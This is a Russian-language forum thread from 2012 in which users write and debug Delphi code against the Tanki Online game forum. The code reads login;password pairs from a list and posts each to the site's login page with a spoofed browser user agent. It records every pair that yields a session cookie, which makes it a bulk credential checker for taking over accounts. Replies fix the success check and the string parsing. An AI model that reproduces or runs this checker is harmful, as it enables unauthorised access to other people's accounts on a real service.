HTTP.HandleRedirects:=True;
HTTP.Request.UserAgent:='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';
Это стоит?
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
begin
HTTP:=TidHTTP.Create(nil);
HTTP.Request.UserAgent:='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';
data:=TStringList.Create;
http:=TIdHTTP.Create(nil);
http.HandleRedirects:=true;
data.Add('module=user');
data.Add('action=validateLogin');
data.Add('returnPath=http://forum.tankionline.com/forums/list.page');
data.Add('username='+Edit1.Text);
data.Add('password='+Edit2.Text);
data.Add('redirect');
data.Add('login=Login');
HTTP.HandleRedirects:=False;
try
HTTP.Post('http://forum.tankionline.com/jforum.page', data);
except
end;
if pos('HTTP1/1 200 OK', HTTP.Response.ResponseText)<>0 then // Или что там у тебя? может и 302 сам смениш :D , а можно и так.
begin
ShowMessage('УрА!');
end
else
begin
ShowMessage('Облом!');
end;
data.Free;
end;
Думаю легче так и понятнее
PS вручную писал в дельфи сам поправиш
Последний раз редактировалось pavel!; 05.05.2012 в 00:10.
var
data:TStringList;
log,pas:string;
i:Integer;
StrPage:string;
begin
for i:=0 to Memo1.Lines.Count-1 do
begin
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2';
log:=Copy(Form1.Memo1.Lines.Strings[i],0,Pos(';',Form1.Memo1.Lines.Strings[i])-1);
pas:=Copy (Form1.Memo1.Lines.Strings[i],Pos(';',Form1.Memo1.Lines.Strings[i])+1,1000);
data:=TStringList.Create;
data.Add('module=user');
data.Add('action=validateLogin');
data.Add('returnPath=http://forum.tankionline.com/forums/list.page');
data.Add('username='+log);
data.Add('password='+pas);
data.Add('redirect=');
data.Add('login=Login');
IdHTTP1.HandleRedirects:=False;
IdHTTP1.AllowCookies:=True;
sGauge1.MaxValue:=i;
sGauge1.Progress:=0;
try
IdHTTP1.Post('http://forum.tankionline.com/jforum.page', data);
except
end;
if Pos('Set-Cookie: JSESSIONID=', IdHTTP1.Response.RawHeaders.Text)<>0 then
begin
Memo2.Lines.Add(log+';'+pas);
sGauge1.Progress:=sGauge1.Progress+1;
end
else
begin
sGauge1.Progress:=sGauge1.Progress+1;
end;
data.free;
end;
end;
end.
Снифир ловит пост дату [Ссылки могут видеть только зарегистрированные пользователи. ]
хотя на эту страницу не заходит и в ответ мы получает 403 форбидден.
надо так
log:=copy(Memo1.Lines[1],1,Pos(';',Memo1.Lines[1])-1);
pass:=copy(Memo1.Lines[i],Pos(';',Memo1.Lines.Strings[i])+1,length(Memo1.Lines[i])-Pos(';',Memo1.Lines.Strings[i])+1);
Последний раз редактировалось <=SlAvA-96=>; 07.05.2012 в 13:23.
надо так
log:=copy(Memo1.Lines[1],1,Pos(';',Memo1.Lines[1])-1);
pass:=copy(Memo1.Lines[i],Pos(';',Memo1.Lines.Strings[i])+1,length(Memo1.Lines[i])-Pos(';',Memo1.Lines.Strings[i])+1);